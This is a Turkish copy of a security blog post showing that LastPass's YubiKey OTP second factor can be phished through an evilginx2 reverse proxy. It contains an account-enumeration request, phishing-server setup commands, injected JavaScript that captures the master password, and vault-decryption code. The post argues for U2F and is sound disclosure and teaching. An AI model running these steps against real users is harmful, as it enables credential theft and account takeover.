LastPass'ın 'Gelişmiş' YubiKey MFA'sını Atlatma: Bir MITM Oltalama (Phishing) Saldırısı

Bu yazı, pberba.github.io blogunda yayınlanan orijinal yazının bir kopyasıdır.

Teknoloji meraklıları için en baştan söyleyeyim: (ne yazık ki) bu U2F’e yönelik bir MITM saldırısı DEĞİLDİR*. LastPass U2F’i desteklemediği için bu saldırı hayal kırıklığı yaratacak kadar basittir. Oltalama (phishing) saldırılarına açık olan Yubico OTP’yi kullanır.

Bu makalede, YubiKey fiziksel anahtarlarıyla korunsalar bile LastPass kullanıcılarına karşı nasıl bir oltalama (phishing) saldırısı düzenleneceğini göstereceğim. Umarım bu, YubiKey ≠ U2F ayrımını daha iyi anlamanıza yardımcı olur. Bunun yanı sıra, aşağıdakilere genel bir bakış sunacağım:

• U2F nedir ve neden önemlidir?
• LastPass kasanızı (vault) nasıl şifreler ve yönetir?

*U2F, “Universal 2nd Factor” (Evrensel İkinci Faktör) anlamına gelir. Güvenlik anahtarları hakkında bir şey duyduğunuzda, muhtemelen kullanılan protokol budur.

Oltalama saldırılarını önlemek için güvenlik anahtarlarını kullanın

 *Google’ın şeffaflık raporu ¹

Son yıllarda oltalama (phishing), insanları “hacklemenin” en etkili yollarından biri olduğunu kanıtladı. Bir hacker, kurbanın kimlik bilgilerini çalmak için havalı ve yeni bir açık (exploit) kullanmak yerine, kurbandan bu bilgileri kendisine teslim etmesini ister.

Dahası, yeni uzaktan çalışma koşullarıyla birlikte oltalama saldırısı riskine daha fazla maruz kalıyoruz. Bu durum “Phishing Attacks Increase 350 Percent Amid COVID-19 Quarantine (2020)” ² gibi haber başlıklarına yol açıyor.

Bununla nasıl mücadele ederiz? Çalışanları oltalama saldırıları konusunda eğitmenin yanı sıra, güvenlik anahtarları bu artan riski azaltmanın en etkili yoludur. (2018, Google: Güvenlik Anahtarları Çalışanların Oltaya Gelmesini Sıfırladı) gibi başarı hikayelerini görüyoruz:

“Google’da güvenlik anahtarlarını uygulamaya koyduğumuzdan beri rapor edilen veya onaylanan herhangi bir hesap ele geçirme durumu yaşanmadı.” ³

Bir oltalama (phishing) saldırısında zayıf nokta insan kullanıcıdır. Meşru ve kötü amaçlı siteleri ayırt etme sorumluluğu kullanıcıdadır. Güvenlik anahtarları ve U2F gibi protokolleri kullanarak, bu yükün bir kısmını kullanıcının üzerinden alırsınız. U2F kullanıldığında, kurban kandırılsa bile kötü amaçlı bir sitede kimlik doğrulama “sihirli bir şekilde” çalışmaz.

Aşağıda LastPass’ın YubiKey kullanımını desteklediğini görüyoruz. Diyagramda, YubiKey’in daha güvenli, kullanımı kolay ve oltalamaya (phishing) karşı korumalı olduğunu görüyoruz.

Buna güvenerek geçenlerde kendime birkaç YubiKey aldım. LastPass ile bu “Gelişmiş Çok Faktörlü Seçeneği” kullanmak için premium hesaba ihtiyacım vardı. Uzun süredir LastPass kullanıcısı olduğum için iki kez düşünmedim ve premium hesabına geçmek için ödeme yaptım.

Dakikalar içinde kendimi kandırılmış hissettim. YubiKey kullanmanın LastPass kasamı (vault) oltalamaya karşı daha güvenli hale getirmediği hemen belli oldu.

Neden? Çünkü LastPass’ın Yubico entegrasyonu U2F’i değil, Yubico OTP’yi kullanıyor.

İşte en az güvenliden en çok güvenliye doğru “Kimlik Doğrulama Hiyerarşisi (Hierarchy of Auth)” listesi ⁴:

1. Yalnızca parola
2. Parola ve SMS
3. Parola ve yazılımsal belirteç (LastPass + Google Authenticator)
4. Parola ve donanımsal belirteç (LastPass + Yubico OTP)
5. Parola ve U2F (Güvenlik Anahtarları)

(3) ve (4), oltalamaya (phishing) karşı benzer korumalar sağlar. (5) ise bu riski en iyi şekilde azaltır. Yani bir YubiKey kullansak da, onu bir güvenlik anahtarı* olarak kullanmıyoruz.

Bu durum gerçekten önemli mi ve U2F o kadar da güvenli mi?

Gelin bunun neden önemli olduğunu göstereyim.

* “Güvenlik anahtarı” terimini yalnızca U2F kullanırken kullanalım. Yani bir YubiKey 5, hem OTP modunda hem de güvenlik anahtarı modunda kullanılabilir.

Oltalama (phishing) kampanyası nasıl yürütülür?

Oltalamanın neden bu kadar etkili olduğunu ve buna kanmanın ne kadar kolay olduğunu anlamak için bir “red team” (kırmızı takım) bakış açısı geliştirelim. Kimlik bilgilerini çalmak ve 2 Faktörlü Kimlik Doğrulamayı (2FA) atlatmak için “ortadaki adam” (Man-in-the-Middle - MITM) saldırısı gerçekleştirmek üzere bir ters vekil sunucu (reverse proxy) kullanacağız.

İşte bir MITM saldırısının nasıl çalıştığına dair genel bir bakış:

Nazik insanlarız. LastPass’e sizin yerinize biz giriş yapacağız 😊

Elbette MITM kullanan oltalama diğer birçok site için de geçerlidir. LastPass’ı benzersiz kılan şey, YubiKey kullansam bile MITM saldırılarına hala açık olan bildiğim tek site olmasıdır.

Bilgi Toplama (Information Gathering)

Diyelim ki bir kişiyi veya şirketi hedef almanız gerekiyor. İlk olarak LinkedIn, Github, Twitter, bloglar ve diğer OSINT kaynaklarında arama yaparak küçük bir e-posta adresi koleksiyonu oluşturmaya çalışırsınız.

Şimdi bu hedef e-postalarla saldırınız için mevcut seçenekleri keşfedersiniz. LastPass kasası (vault), bir oltalama saldırısı sonucunda birçok kimlik bilgisinin ele geçirilmesini sağlayabildiği için adeta bir altın madenidir. Bakalım bu e-postalar olası LastPass kullanıcıları mı?

google@gmail.com LastPass kullanıyor mu?

Kayıt işlemleri bir e-posta adresinin uygunluğunu kontrol ettiğinden, bunu daha fazla istihbarat toplamak için kullanabiliriz. E-posta adresi alınmışsa, sahibinin LastPass kullanıyor olması muhtemeldir.

Potansiyel hedeflerin küçük bir listesini numaralandırmak (enumerate) isterseniz, ok/no döndüren bu basit API’yi kullanabilirsiniz.

GET https://lastpass.com/create_account.php?check=avail&skipcontent=1&mistype=1&username=google%40gmail.com

Hedefli saldırılar için bu, LastPass’ta oltaya gelip gelmeyeceğinizi kontrol etmenin etkili bir yoludur. Kayıt son noktası (endpoint) hız kısıtlamasına (rate limitation) tabi ise rastgele geniş çaplı saldırıların gerçekleşmesi pek olası değildir.

Doğru alan adını (domain) almak

Meşru görünen bir alan adına sahip olmak, kurbanı kandırmayı kolaylaştırabilir. Meşru görünen bir alan adı elde etmenin birçok yolu vardır. Belki yazımda küçük değişiklikler yapabilir veya diğer TLD’leri araştırabiliriz. Biz lastpass.com.es alan adını seçtik.

2020/05/25 itibarıyla

İşte LastPass için olası diğer oltalama alan adları:

2020/05/25 itibarıyla

Bunlar, bir red team veya bireysel hackerlar için uygun maliyetli alan adlarıdır.

Umarım bu gibi durumlarda lastpass.com.es gibi bir alan adının lastpaazz.com ve lastpass.club kadar şüpheli olduğunu anlıyorsunuzdur.

Sunucuları kurma

Oltalama sitemizi kurmak için, LastPass’ten kimlik bilgilerini çalmak üzere bazı ek mantıklara sahip olan bir evilginx2 çatallaması (fork) hazırladım.

Bu bir Go uygulamasıdır, bu nedenle Go’yu yüklemeniz ve aşağıdaki komutları çalıştırmanız gerekir:

# Önce Go'yu yükleyin
export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin

sudo apt-get install git make
go get -u github.com/kgretzky/evilginx2
cd $GOPATH/src/github.com/kgretzky/evilginx2
git remote add pberba https://github.com/pberba/evilginx2.git
git fetch pberba
git checkout -b lastpass pberba/feature/lastpass
make

#sudo ./bin/evilginx -p ./phishlets/ -developer

Kaynak: https://gist.github.com/pberba/fe7bba9dcd5bfbaceed0ef36a79a9509

Oltalama araçlarının bu kadar gelişmiş olması şaşırtıcı. Bunun geliştirilmesi sadece bir gün sürdü. Bankanız veya şirket web siteniz için alan adı ve SSL sertifikası ile tamamlanmış oltalama siteleri kurmak oldukça kolaydır.

Bunu favori bulut sunucu sağlayıcınızda kurabilirsiniz. Evilginx2‘nin ikili dosyalarını (binaries) hazırladıktan sonra, onu çalıştırın ve ardından LastPass phishlet’ini yapılandırın.

$ sudo ./bin/evilginx -p ./phishlets/ -developer

> config ip 127.0.0.1  
> config domain lastpass.com.es

> phishlets hostname lastpass lastpass.com.es  
> phishlets enable lastpass

Ardından kurbanı oltaya getirmek istediğiniz bağlantıyı oluşturursunuz. redirect_url, gerekli tüm kimlik bilgilerini aldıktan sonra kurbanın yönlendirilmesini istediğiniz sayfadır.

> lures create lastpass  
> lures edit redirect_url 0 [https://www.youtube.com/watch?v=dQw4w9WgXcQ](https://www.youtube.com/watch?v=dQw4w9WgXcQ)  
> lures get-url 0

Bizim durumumuzda, kurbanın https://lastpass[.]com[.]es/QBFlGqJy adresine gitmesini istiyoruz.

Not: Bunun yerelde (locally) çalışması için /etc/hosts dosyanıza aşağıdakileri eklemeniz gerekebilir:

127.0.0.1 lastpass.com.es  
127.0.0.1 lp-cdn.lastpass.com.es  
127.0.0.1 www.lastpass.com.es

Oltalama (phishing) e-postasını gönderme

Mevcut bir phishlet kullandığımızı varsayarsak, bir oltalama e-postası hazırlamamız gerekir. İşin asıl kısmı burasıdır. Kullanıcıyı bir şekilde bağlantıya tıklamaya ikna etmelisiniz. İyi bir oltalama e-postası hazırlamak bir sanattır.

Bu durumda, “güvenilen cihazların yetkisini kaldırdığımızı” söylüyoruz ki umarız yeni giriş uyarıları aldığında şaşırmasın.

Kimlik bilgilerini (credentials) bekleme

Kurban bağlantıya tıkladığında, sahte LastPass giriş sayfasına yönlendirilecektir.

lastpass.com.es adresine dikkat edin

LastPass 2FA gerektirdiğinde, sahte web sitesi kurbandan ikinci faktörü girmesini isteyecektir.

Daha önceki çalışmalarda ⁵ de belirtildiği gibi, oturum açma etkinliği yeni olduğu için kurbanın muhtemelen e-postasıyla doğrulama yapması gerekecektir. Ancak kurbanları “güvenilen cihazların yetkisini kaldırdığımızı” söyleyerek buna hazırladıysak, bu durum daha az şüpheli görünebilir.

 *Versprite’ın makalesinden alınan ekran görüntüsü ⁵

Oturum güvenli hale geldikten sonra, kurbanın tarayıcısı şifrelendi kasayı (vault) indirmeye başlayacaktır. Biz bunu ve kurbanın kullanıcı adı ile parolasını vekil sunucu (proxy) aracılığıyla çalıyoruz.

Daha sonra kurban seçilen bir siteye yönlendirilecektir. Bu durumda, kurban sizin seçtiğiniz sayfaya yönlendirilir.

Bu sırada, kurbanın tüm kimlik bilgilerini elde etmek için ihtiyacımız olan her şeye sahibiz.

Kasayı (vault) çözme

LastPass Kasasını çözmek için 3 temel bileşene ihtiyacınız vardır:

• LastPass Kullanıcı Adı
• LastPass Parolası
• Şifrelenmiş Kasa (Encrypted Vault)

MITM saldırısı ile kurbanın kullanıcı adı ve parolasını çalabiliriz; YubiKey’den gelen OTP sonrası oturum güvenilir hale geldiğinde ise şifrelenmiş kasayı indirebiliriz.

Evilginx2’nin asıl amacı oturumu ele geçirmektir (session hijacking). Ancak kasadaki kimlik bilgilerini doğrudan dökmenin (dump) daha kolay olduğunu gördüm. Teorik olarak vekil sunucu, hesabı tamamen ele geçirmek için gerekli tüm bilgileri alabilir.

Projeye, evilginx2 veritabanını (DB) ayrıştıran ve kimlik bilgilerini çözen scripts/lastpass-python/dump_lastpass.py adlı bir betik ekledim. Veritabanının konumu yapılandırma dosyasının nerede olduğuna bağlıdır. Benim durumumda /var/root/.evilginx/data.db adresindeydi.

Bu işlem iki dosya oluşturur: biri LastPass hesapları için kimlik bilgileri, diğeri ise kasalarda bulunan kimlik bilgileridir. Kasadaki her şeye sahipsiniz: isim, klasör, kullanıcı adı, parola, URL ve öğeyle ilişkili güvenli notlar.

creds-dump.csv

Hesapların olabildiğince fazlasını kontrol altına almak için bunu kolayca kullanabilirsiniz. Etkinizi en üst düzeye çıkarmak için notlarda kurtarma kodları olup olmadığını otomatik olarak kontrol eden bir betik yazabilirsiniz. Parolalar ve kurtarma kodlarıyla, hesapları üzerinde tam kontrole sahip olursunuz.

Tüm yumurtaları aynı sepete mi koymalıyız?

Oltalama (phishing) üzerine kısa notlar

Tekrar etmekte fayda var: Bu sorun sadece LastPass’e özgü değil. Kullandığınız hemen her sitede oltaya gelebilirsiniz. Bazılarının LastPass’ten daha az koruması olacaktır. Ancak ana parola yöneticileri arasında LastPass, hala U2F’i desteklemeyen tek yönetici sanırım.

Bir oltalama e-postasını nasıl anlarız?

Bir saldırganın bir e-posta tasarımını kopyalaması çok basittir. Örneğimizde, bunu kaynak alan adını kullanarak tespit edebilirsiniz. Ancak bazen düzgün yapılandırılmamışsa alan adı bile taklit edilebilir (spoofing).

Alan adı bir yana, asıl içerik “şüpheli” (fishy) olan tek şeydir.

Oltalama web sitesinin kendisine gelince, oltalama web sitelerinin SSL sertifikasına sahip olmadığı günler ⁶ geride kaldı. Onu ele verecek tek şey alan adıdır. MITM vekil sunucumuz sayesinde kurbanın gördüğü şey, asıl sitenin birebir kopyasıdır. Görsel hiçbir fark olmayacaktır ve kısa vadede pratikte tespit edilemez.

Bu noktada kendinizi korumanın bazı yolları nelerdir?

Parola yöneticinizin tarayıcı eklentisini kullanıyorsanız, alan adını tanımadığı için size parolayı vermeyecektir.

Parola yöneticisi yalnızca sitenin alan adına bakar ve FB, Twitter, Github veya Google gibi görünüp görünmediğiyle ilgilenmez. Örneğin github.com, giithub.com ile aynı değildir. Bu nedenle giithub.com adresindeyseniz, parola yöneticisi size herhangi bir kimlik bilgisi vermeyecektir.

Parola yöneticim neden Github bilgilerimi göstermiyor?!?! Bozuldu mu?

Bunun istisnası bizzat kendi parola yöneticinizdir! Parolamı manuel olarak girdiğim nadir sitelerden biridir. Bu nedenle hala oltalama için birincil bir hedeftir.

Bu nasıl olabilir?

“Güvenlik anahtarları kullanırsak oltalama (phishing) saldırılarını önleyebileceğimizi düşünmüştüm?”

Bu durum ancak U2F veya bir tür meydan-okuma-yanıt (challenge-response) protokolü kullanıyorsak doğrudur. Ne yazık ki daha önce de belirttiğimiz gibi, LastPass’ın YubiKey entegrasyonu Yubico OTP’yi kullanıyor.

Yubico OTP ile U2F arasındaki fark incedir. Kullanıcı deneyimi açısından birbirlerine çok benzerler.

Size bir komut verilir, YubiKey’inizi takarsınız ve düğmeye basarsınız. Artık içeridesiniz!

“Anahtarınızı takın ve ona dokunun”

Mobil cihazlarda NFC kullanımına gelince, deneyim tamamen aynıdır!

 *U2F ⁷

Buradaki kullanıcı deneyimleri kıyaslanabilir ancak güvenlik düzeyi aynı değildir! Bu farklar son kullanıcılar olarak bizim için tamamen görünmezdir.

Bu bölüm için terminolojimizi biraz basitleştirelim. Sonuçta, ister OTP ister U2F olsun, bir tür “kimlik doğrulama kodu (authentication code)” oluşturmak istiyoruz. Bu kimlik doğrulama kodunu oluşturma şeklimiz tüm farkı yaratıyor.

OTP Üretimi (OTP Generation)

Yubico OTP, Google Authenticator, SMS Kodları, E-posta Kodları ve RSA belirteçleri (RSA tokens), tüm bu kimlik doğrulama kodlarını doğrusal bir şekilde oluşturur.

⁸ numaralı kaynaktaki bu slayta bakarsak, bilgi akışının her zaman tek bir yönde hareket ettiğini görürüz. Kimlik doğrulama kodu, hedefin kimliğinden bağımsız olarak oluşturulur.

 *Jen Tong, Security Keys are Awesome. ⁸

Google Authenticator kullanırken yanlışlıkla yanlış siteden gelen OTP’yi girebildiğiniz gibi, bu OTP’yi istemeden de olsa saldırgana da verebilirsiniz.

Yubico OTP’nin nasıl oluşturulduğuna bakarsanız [16], kodların hedefin kimliğinden bağımsız olarak oluşturulduğu açıktır. Bu, hedefin ister gerçek site ister sahte site olsun, oluşturulan kodların her zaman geçerli olduğu anlamına gelir.

 *OTPs Explained ⁹

Oltalama riski şu durumlarda her zaman yüksek kalacaktır:

• Hedefin kimliği, kimlik doğrulama kodunun oluşturulmasına dahil edilmiyorsa.
• Kimlik doğrulama kodunun oluşturulması ve gönderilmesi tam otomatik değilse.

Örneğin, Google Authenticator tarafından oluşturulan kodlar hedef siteye özeldir. Ancak kullanıcının bunu manuel olarak göndermesi gerektiğinden, insan hatasına yer vardır. Süreçteki insan unsurunu bir şekilde kaldırabilirsek ve uygulamanın kodu yalnızca amaçlanan hedef için göndermesini sağlayabilirsek, bu çok daha güvenli olaraktır.

U2F ve Güvenlik Anahtarları

Bir oltalama (phishing) saldırısındaki en büyük zafiyet insansa, o zaman insanı süreçten çıkarmalıyız.

U2F’nin yapmaya çalıştığı şey budur. Sahte ve gerçek siteleri ayırt etme yükünü insanın üzerinden alırız. Bu görev, YubiKey ve tarayıcının birlikte çalışmasıyla yerine getirilecektir.

Aşağıdaki diyagramda arzu edilen uçtan uca akışı görüyoruz ve bu akışın çoğu otomatik olarak gerçekleşiyor. U2F’de güvenlik anahtarı bir kimlik doğrulama kodu oluşturduğunda, bu kod kısmen hedefin kimliğinden türetilir.

Burada durumu biraz basitleştirmeye başlayacağız. “Ana fikri” netleştirmek için, aşağıdaki diyagramlarda tekrar saldırılarını (replay attacks) önlemek için kullanılan ve güncelliğin kanıtı olan “meydan-okuma” (challenge) gibi detayları göstermeyeceğiz.

İşte yukarıdaki diyagramın daha da basitleştirilmiş bir hali. Çizimdeki insanı tamamen çıkardığımıza ve kimlik doğrulama kodunun, iletişim kurduğu sunucunun kimliğini kullandığına dikkat edin. Bu, OTP kodlarıyla ilgili endişelerimizi gideriyor.

Böylece bir saldırgan kurban ile site arasına girmeye çalıştığında, oluşturulan kodlar artık geçerli olmayacaktır. Oltalama saldırımız için oluşturulan kodlar lastpass.com için değil, yalnızca lastpass.com.es için geçerli olacaktır.

1. adımda saldırgan lastpass.com.es için talepte bulunduğundan, 3. adımda üretilen kimlik doğrulama kodu lastpass.com için kullanılamaz. Öyleyse saldırgan neden doğrudan lastpass.com için kimlik doğrulama kodu istemiyor?

Bu mümkün olmayacaktır çünkü tarayıcı buna izin vermeyecektir.

Tarayıcı, güvenlik anahtarından herhangi bir kod oluşturmasını istemeden önce web sitesinin sertifikalarını kontrol eder. Sahte web sitemiz lastpass.com.es‘in lastpass.com için kod almasına izin verilmediğinden emin olur. Bu, bir hacker (bilgisayar korsanı) için MITM saldırısı yapmayı zorlaştırır. Site yalnızca meşru site gibi görünmekle kalmamalı, aynı zamanda doğru sertifikalara da sahip olmalıdır.

(Tabii ki, hacker’ın örneğin kötü niyetli bir CA (Sertifika Yetkilisi) üzerinden erişim sağlayarak meşru sertifikaları varsa, o zaman bir MITM saldırısı başarılı olabilir.)

OTP ve U2F arasındaki farklar ¹⁰ ve ¹¹ kaynaklarında açıkça listelenmiştir.

LastPass kasanızı (vault) nasıl çözer

Buradaki notlar ¹², ¹³, ¹⁴, ¹⁵ kaynaklarından ve kendi oltalama sitemi kurma deneyimimden alınmıştır.

Oturum açma sırasında önemli olan belirli istekleri öğrenmek isterseniz, bunları vurguladım:

• login.php: kullanıcı adı ve ana parola (master password)
• getaccts.php: şifrelenmiş kasa (vault)

LastPass oturum açma ve kasa çözme işlemlerinin vekil sunucu geçmişi

Ana parolayı (master password) alma

Giriş yapmaya çalıştığınızda, kasanın şifresini çözmek için kullanılan anahtarı türetmek üzere kullanıcı adı ve parola kullanılır ve ardından düz metin parola silinir.

LastPass’ın parolayı asla sunucuya göndermediğini doğrulamak güzel. Kimlik doğrulama için, türetilen anahtarın bir karmasını (hash) gönderir.

Ana parola asla hattan (wire) gönderilmiyorsa, MITM vekil sunucumuz ana parolayı nasıl ele geçiriyor? Cevap: Giriş yapma mantığı başlamadan önce parola alanını başka bir gizli alana kopyalamak için giriş sayfamıza biraz JavaScript enjekte ediyoruz.

// startLogin fonksiyonunu geçersiz kılıyoruz (override)
if ((typeof _startLogin === 'undefined') && (typeof startLogin !== 'undefined')) {
  _startLogin = startLogin;
  startLogin = function() {
    var form = document.getElementById("loginform");
    var hidden_password = document.getElementById("_password");
    if(!hidden_password) {
      hidden_password = document.createElement("input");
      hidden_password.type = "hidden";
      hidden_password.id = "_password";
      hidden_password.name = "_password";
      form.appendChild(hidden_password);
    }
    var password = document.querySelector("#password").value;
    hidden_password.value = password;
    _startLogin();
  }
}

Kaynak: https://gist.github.com/pberba/a9a5f5a34fd1b94c0c28e4719dc37ceb

Trafiği incelediğimizde, düz metin ana parolayı içeren _password form alanını arıyoruz.

AES anahtarlarını türetme

Kasayı (Vault) şifrelemek ve şifresini çözmek için kullanılan anahtarı türetmek üzere kullanıcı adı ve parolayı kullanırız. (kaynak)

key = hashlib.pbkdf2_hmac('sha256', password, username, 100100, 32)

Burada, password bilgisini username tuzu (salt) ile 100100 yineleme yaparak özetliyoruz (hash). Çok sayıda yineleme olması, parolanın kaba kuvvet (brute force) ile kırılmasını zorlaştırır.

Kimlik doğrulama karmasını (authentication hash) alma

Kimlik doğrulama karmasını elde etmek için AES anahtarını bir kez daha özetlersiniz (hash) (kaynak)

auth_hash = hashlib.pbkdf2_hmac('sha256', key, password, 1, 32)

Bu, kimlik doğrulaması yapmak için /login.php isteğinde kullanıcı adı ve 2FA OTP ile birlikte gönderilen karmadır (hash).

Kasa parçalarının şifresini çözme

Kimlik doğrulandıktan sonra LastPass kasayı indirmeye çalışır. Şifrelenmiş kasayı /getaccts.php isteğinde yakalarız. Kasayı şu şekilde işleriz:

1. baytlara (bytes) kodlanır ve birkaç parçaya (chunk) bölünür (bir parça şudur)
2. her parça daha sonra tekil alanlara ayrıştırılabilir (kaynak)

Tekil alanları görüntülersek şuna benzer görünecektir:

[12] numaralı kaynaktan ekran görüntüsü

Burada her alanın şifrelendiğine dikkat edin. Kullanıcı adı ve paroladan türettiğimiz anahtarı kullanarak AES-CBC yöntemini kullanıyoruz. Her alanın ilk baytları başlatma vektörüdür (initialization vector).

Düz metin (Plaintext) URL’ler

Burada dikkate değer bir nokta, ¹⁵ tarafından işaret edilen ve [python kodunda ¹⁴](https://github.com/konomae/lastpass-python/blob/5063911b789868a1fd9db9922db82cdf156b938a/lastpass/parser.py#L53) görülebilen URL alanının şifrelenmemiş olmasıdır.

LastPass’ın neden URL’leri düz metin olarak saklamaya karar verdiğini bilmiyorum.

Belki zorlama bir tahmin olacak ama uygulamadaki verimlilikten kaynaklanıyor olabilir. URL’ler düz metin halindeyse, şifreli metinler içinde arama yapabilir ve yalnızca ihtiyacım olan hesap parçalarının şifresini çözebilirim. Ama bu gerçekten o kadar zaman alıyor mu? Kasayı her açtığınızda her zaman önce sadece URL’lerin şifresini çözebilirsiniz.

Diğer bir kullanım durumu ise LastPass’ta saklanan sitelerin bazı analitiklerini elde etmektir. Bu, parola sıfırlama, otomatik doldurma ve eşdeğer alan adlarının çalışıp çalışmadığını kontrol etmek için hangi sitelere öncelik vermeleri gerektiği konusunda onlara yardımcı olacaktır; bu sayede bir fikir edinebilirler.

¹⁵ tarafından bu sorulduğunda, LastPass şöyle yanıt veriyor:

LastPass, kasanızı (Vault) sunucuya gitmeden önce 256-bit AES şifreleme kullanarak şifreler. Kasa bilgisayarınızdan ayrılıp LastPass sunucusuna ulaşmadan önce zaten şifrelenmiş olduğu için, LastPass çalışanları bile hassas verilerinizi göremez.

Temel Çıkarımlar (Key Takeaways)

Bundan neler öğrenebiliriz:

• Ana parola (master password) asla sunucuya gönderilmez.
• Kimlik bilgileri sunucuya gönderilmeden önce şifrelenir.
• Şifre çözme (decryption) işlemi istemci üzerinde (masaüstü uygulaması veya tarayıcınızda) yapılır.
• URL, düz metin (plaintext) olarak gönderilir ve saklanır.

LastPass, 2015’te yaşananlara benzer ¹⁶ bir ihlale uğrasaydı, hackerlar şunlara sahip olurdu:

• kullanıcı adı
• ana parolanın ve şifreleme anahtarlarının bir karması (hash)
• şifrelenmiş kasa (vault)
• Hesabınızla ilişkili tüm düz metin URL’ler

Bir sızıntı durumunda kullanıcılar için herhangi bir risk var mı? Kendilerine sorarsanız, kasanın şifrelendiğini ve şifre çözme anahtarlarını elde etmek için karmasını (hash) tersine çeviremeyeceğinizi söyleyerek “hayır” diyeceklerdir.

“Şifreleme önlemlerimizin kullanıcıların büyük çoğunluğunu korumak için yeterli olduğundan eminiz.” — LastPass ¹⁶

Bu sizin için tatmin edici olmayan bir cevap olabilir ve şifrelenmiş olsalar bile tüm parolalarınızı başka birinin saklaması fikrinden gerçekten hoşlanmayabilirsiniz. Eğer öyleyse, muhtemelen kendi sunucunuzda barındırılan (self-hosted) bir parola yöneticisi kullanıyorsunuzdur.

Ayrıca, bir MITM oltalama (phishing) saldırısı sırasında parolaları öylece ele geçirebiliyorsanız tüm bu şifrelemeler geçerliliğini yitirir!

Lastpass ve U2F

Net olmak gerekirse, LastPass yalnızca OTP desteklemektedir ¹⁷.

 *YubiKey ile çalışır: LastPass ¹⁷

Neden saf bir şekilde LastPass’ın U2F desteklediğini düşündüm?

Sanırım bunun nedeni YubiKey’i safça güvenlik anahtarlarıyla bağdaştırmaktı. Ancak öğrendiğim kadarıyla, sırf YubiKey kullanıyor olmam onun U2F olduğu anlamına gelmiyor.

Böyle sayfaların olması da pek yardımcı olmuyor.

Diyagramda, YubiKey’leri LastPass ile kullanmanın sizi daha az “oltalanabilir” ve daha güvenli kıldığı öne sürülüyor ki bu ancak U2F kullanırken doğrudur.

Sayfayı daha doğru olacak şekilde güncellersek şuna benzer bir şeye sahip olurduk.

“Düzeltilmiş” diyagram

U2F ve Yubico OTP arasındaki ayrımı yapmak, OTP’nin oltalamaya (phishing) açık olduğunu netleştirir. Bu, az önce kanıtladığımız bir şey.

İşte beni yanıltan başka bir sayfa:

MITM’e karşı bağışıklık mı? Neyi kaçırıyorum?

Teknik olarak bu, U2F kullanılırken doğrudur. Ancak LastPass’ın güvenlik anahtarlarını desteklemediği göz önüne alındığında, bence bu beyan yerinde değil.

Sanırım yalnız değilim. İşte durumu yanlış anlamış olabilecek bazı makaleler: ¹⁸, ¹⁹ ve ²⁰.

Aşağıdaki makalede LastPass’ın U2F desteklediği açıkça belirtilmemiş ancak öyle bir ilişkilendirme yapılmış.

“U2F teknolojisinin teşvik edilmesini bekleyeceğiniz bir alan varsa, o da parola yöneticileridir.” ¹⁸

Peki LastPass ne zaman U2F’i destekleyecek? Bu duyurunun yorumlar bölümüne baktığımızda, insanların bunu netleştirdiğini ve sürekli olarak U2F desteği istediğini görüyoruz.

Ne yazık ki, 2014 yılına kadar uzanan bunu isteyen paylaşımlar var ve LastPass’ın U2F’i desteklemeyi planlayıp planlamadığı belli değil. Mayıs 2020 kadar yakın tarihlerde bile paylaşımlar mevcut.

Kendime gelince, ne için ödeme yaptığımı iki kez kontrol etmeden premium hesap için para ödediğim için kendimi gerçekten aptalca hissettim. Ayrıca geri ödeme de yok.

Kendi kendime not: Bunun gibi bir tabloya bakmak yanıltıcı olabilir.

https://twofactorauth.org/

“Hardware Token” hem OTP hem de U2F’i ifade edebilir. Özellikle U2F (veya protokoller) olup olmadığına bakmanız gerekir.

https://www.dongleauth.info/

LastPass’ten ayrılma

LastPass premium hesabı için ödeme yaptıktan sonraki 24 saat geçmeden ayrılıyorum.

Mevcut U2F desteği eksikliği, U2F’i desteklemek için somut planların olmaması ve şüpheli düz metin URL’ler nedeniyle LastPass ile işim bitti. Neden bu kadar uzun süre orada kaldığımı bilmiyorum.

Şimdi gerçekten düşündüğümde, ideal parola yöneticim şu özelliklere sahip olmalıdır:

1. Oltalamayı (phishing) önlemek için çok faktörlü kimlik doğrulamada U2F’i desteklemeli.
2. Açık kaynaklı olmalı ve 3. taraflarca denetlenmiş olmalı ²¹.
3. Kendi sunucularımda barındırılmalı (self-hosted).

Şu anda Bitwarden’ı inceliyorum. Belki self-hosted (kendi kendine barındırılan) versiyonunu kullanırım. Hangi parola yöneticisini kullanacağınıza dair önerileriniz veya yorumlarınız varsa sevinirim.

Ek Kaynaklar:

Karantina sırasında iş gücünüzü nasıl güvende tutacağınıza dair Raymond Nunez’den bazı ipuçları:

CISO Perspectives in the Work-From-Home Era

Kendi oltalama kampanyanızı uygulama hakkında daha derinlemesine bir inceleme için Evilginx2 blog yazısına veya deponun (repository) kendisine göz atın.

Evilginx 2 — Next Generation of Phishing 2FA Tokens

İşte LastPass kullanıcılarının nasıl oltalanabileceği hakkında konuşan başka bir blog yazısı. Yaklaşım benzerdir. Onların yaklaşımı, kurbanın tarayıcısı tarafından şifreleri çözülürken kasadaki kimlik bilgilerini çaldıkları için biraz farklılık gösterir. Bu, çok sayıda ek istek oluşturarak tespit edilme olasılığını artırır.

Bu blogdaki yaklaşım, LastPass ile tipik bir oturumda meşru bir şekilde sorgulanan kullanıcı adını, parolasını ve şifrelenmiş kasayı alır ve bunun şifresi çevrimdışı (offline) olarak çözülür.

Gelişmiş oltalamada ters vekil sunucuların (reverse proxy) kullanımı

U2F’e dair genel bir bakış için Jen Tong’un bu giriş videosunu izleyebilirsiniz ⁸.

DevOpsDays Seattle 2018: How FIDO U2F Security Keys Work by Jen Tong

Elbette LastPass aniden U2F’i destekleyecek bir güncelleme yayınlarsa bu blog yazısı geçerliliğini yitirebilir. Bu destek çok yakında gelebilir; zira Firefox ve Chrome’un bunu desteklemesinin yanı sıra konu uzun süredir LastPass’in radarında.

Referanslar

Fotoğraf: Unsplash üzerinden Ethan Sexton

1. Google Transparency Report ↩︎ ↩︎²

2. PCMag, “Phishing Attacks Increase 350 Percent Amid COVID-19 Quarantine (2020)” ↩︎

3. Krebs on Security, “Google: Security Keys Neutralized Employee Phishing (2018)” ↩︎

4. Troy Hunt, Beyond Passwords: 2FA, U2F and Google Advanced Protection ↩︎

5. Versprite, Utilizing Reverse Proxies to Inject Malicious Code & Extract Sensitive Information. ↩︎ ↩︎² ↩︎³

6. Kerbs on Security, Phishers Are Upping Their Game. So Should You. ↩︎

7. Yubico, FIDO U2F. ↩︎ ↩︎²

8. Jen Tong, Security Keys are Awesome. ↩︎ ↩︎² ↩︎³ ↩︎⁴

9. Yubico, OTPs Explain ↩︎ ↩︎²

10. OTP vs. U2F: Strong To Stronger ↩︎

